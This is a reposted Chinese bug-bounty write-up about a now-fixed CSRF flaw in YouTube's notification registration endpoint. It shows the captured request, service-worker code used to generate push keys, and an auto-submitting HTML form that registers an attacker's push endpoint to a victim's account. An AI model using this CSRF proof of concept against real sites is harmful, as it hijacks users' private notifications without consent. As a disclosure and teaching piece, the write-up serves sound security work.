37

挖洞经验 | 利用CSRF漏洞劫持Youtube用户的通知消息

 5 years ago
source link: https://www.freebuf.com/vuls/200711.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

u6zeuev.jpg!web大家好,今天分享的writeup是关于YouTube通知服务(Notification)的CSRF漏洞,作者利用该漏洞可以劫持其他YouTube用户(受害者)的通知服务,能以受害者用户身份接收到其订阅频道或视频的最新通知,漏洞最终获得Google官方$3133.7美金的奖励,以下是作者的分享。

从POST请求中发现端倪

某天晚上,我在YouTube官网上测试漏洞,看看能有什么发现,不知不觉时间已经是半夜00:30了,困累之极…..。我就随便点点打开了YouTube的通知服务(Notification),其中的POST请求引起了我的注意:

POST /notifications_ajax?action_register_device=1 HTTP/1.1
Host: www.youtube.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.youtube.com/sw.js
Content-Type: multipart/form-data; boundary=---------------------------41184676334
Origin: https://www.youtube.com
Content-Length: 1459
Connection: close
Cookie: duh, cookies!
-----------------------------41184676334
Content-Disposition: form-data; name="endpoint"

https://updates.push.services.mozilla.com/wpush/v1/gAAA...

-----------------------------41184676334
Content-Disposition: form-data; name="device_id"
dbe8453d99714c6160994fdf5bb3c59332df04278a...
-----------------------------41184676334
Content-Disposition: form-data; name="p256dh_key"
BBNVkVOt6tpY1KvJJqtLvqt...
-----------------------------41184676334
Content-Disposition: form-data; name="auth_key"
V5-_lh6nYT2zoY...
-----------------------------41184676334
Content-Disposition: form-data; name="permission"
granted
-----------------------------41184676334--

乍一看,为了防止CSRF,其中的auth_key、p256dh_key、endpoint、device_id等参数貌似都是经过编码的字符串,但仔细一分析才知道,这些所有的参数都是由其中 updates.push.services.mozilla.com 的Mozilla通知推送服务产生的,所以,这样初略来看,该接口上不存在CSRF漏洞。

分析 Service Worker 服务工作线程

深入分析可知,上述POST请求中的referrer字段值为“ https://www.youtube.com/sw.js ”,这个sw.js明显为一个服务工作线程脚本(Service Worker)。

Service Worker 是独立于当前页面的一段运行在浏览器后台进程里的脚本。Service Worker不需要用户打开 web 页面,也不需要其他交互,异步地运行在一个完全独立的上下文环境,不会对主线程造成阻塞。基于Service Worker可以实现消息推送、离线缓存和后台同步API等功能,本质上来说,Service Worker充当了Web应用程序与浏览器之间的代理。

也就是说,referrer字段中的sw.js发起了这个POST请求,以至于这个请求和其它具备CSRF防御机制的YouTube请求内容存在不同。

构造CSRF攻击框架

到了这一步,从这些参数里,我隐约觉得这里应该会有漏洞出现,但总要构造个PoC出来试试看。因此,通过研究以上参数的生成机制,我利用sw.js原理,编写了以下三个代码文件,构建了一个本地服务端来生成其中的各个参数。

index.html:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>Push Demo</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" type="text/css" media="screen" href="index.css" />
    <script src="index.js"></script>
</head>
<body>
    <h1>Hello World</h1>
    <button id="permission-btn" onclick="main()">Ask Permission</button>
</body>
</html>

index.js:


const check = () => {
  if (!('serviceWorker' in navigator)) {
    throw new Error('No Service Worker support!')
  }
  if (!('PushManager' in window)) {
    throw new Error('No Push API Support!')
  }
}
const registerServiceWorker = async () => {
  const swRegistration = await navigator.serviceWorker.register('sw.js')
  return swRegistration
}
const requestNotificationPermission = async () => {
  const permission = await window.Notification.requestPermission()
  if (permission !== 'granted') {
    throw new Error('Permission not granted for Notification')
  }
}
const main = async () => {
  check()
  const swRegistration = await registerServiceWorker()
  const permission = await requestNotificationPermission()
}

sw.js:

self.addEventListener('activate', async () => {   console.log("Hello");
      self.registration.pushManager.subscribe()
  .then(function(subscription) {
          console.log(JSON.stringify(subscription));
  })
  .catch(function(e) {
    console.log(e);
  });
})
self.addEventListener("push", function(event) {
  if (event.data) {
    console.log("Push event!! ", event.data.text());
    showLocalNotification("Yolo", event.data.text(),  self.registration);
  } else {
    console.log("Push event but no data");
  }
});
const showLocalNotification = (title, body, swRegistration) => {
  const options = {
    body
    // here you can add more properties like icon, image, vibrate, etc.
  };
  swRegistration.showNotification(title, options);
};

这三个代码文件的目的在于获取sw.js请求时生成的各个参数,有了这些参数,就可以间接形成通知(Notification),打开其中的index.html页面,点击Ask Permission按钮请求通知权限,后台调用sw.js脚本,通过内置的Firefox API形成一个本地的通知服务端,通知请求提交时,我们就能获取到其中的各个参数。利用这些参数,可以进一步构造出CSRF攻击框架,就能获取到对应的通知消息。

在本地loclalhost构造这种通知请求服务端,需要用到Service Worker 服务工作线程(sw.js)的部署原理,其中涉及服务注册、激活、缓存控制和相关响应机制,具体可参考: developer.mozilla.orgdevelopers.google.com 中的详细介绍说明。

FFZVraf.jpg!web 综合上述分析,基于我们之前创建的本地通知服务端,结合Youtube的通知请求提交方式,我构造了以下CSRF攻击框架:

<form action="https://www.youtube.com/notifications_ajax?action_register_device=1" method="post" enctype="multipart/form-data" name="csrf">
        <input type="text" name="device_id" value="replace">
        <input type="text" name="permission" value="granted">
                <input type="text" name="endpoint" value="replace">
                <input type="text" name="p256dh_key" value="replace=">
                <input type="text" name="auth_key" value="replace">
        <input type="submit">
        <script type="text/javascript">document.csrf.submit();</script>
</form>
</html>

让我意想不到的是,我在其中以其他Youtube账号身份,利用获取到的各种请求参数,提交了通知请求,竟然能有效实施通知消息的CSRF攻击。也就是说,我们现在可以劫持到其他Youtube账号的消息推送接口(PUSH webhook),以其他Youtube账号身份收取到Youtube响应该账号的相关通知,这些通知可能是他订阅的某个频道或视频的更新消息,也可能是他私人视频的观众评论等,如下:

ZjiY7zF.jpg!web 漏洞上报后,谷歌在半小时之后就给了我回复,称漏洞有效,会尽快走完验证修复流程,并会及时给我后续通知。半个多月后,谷歌回复称修复工作已经完成,漏洞按其VRP项目核定,达到$3133.70美金的奖励。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK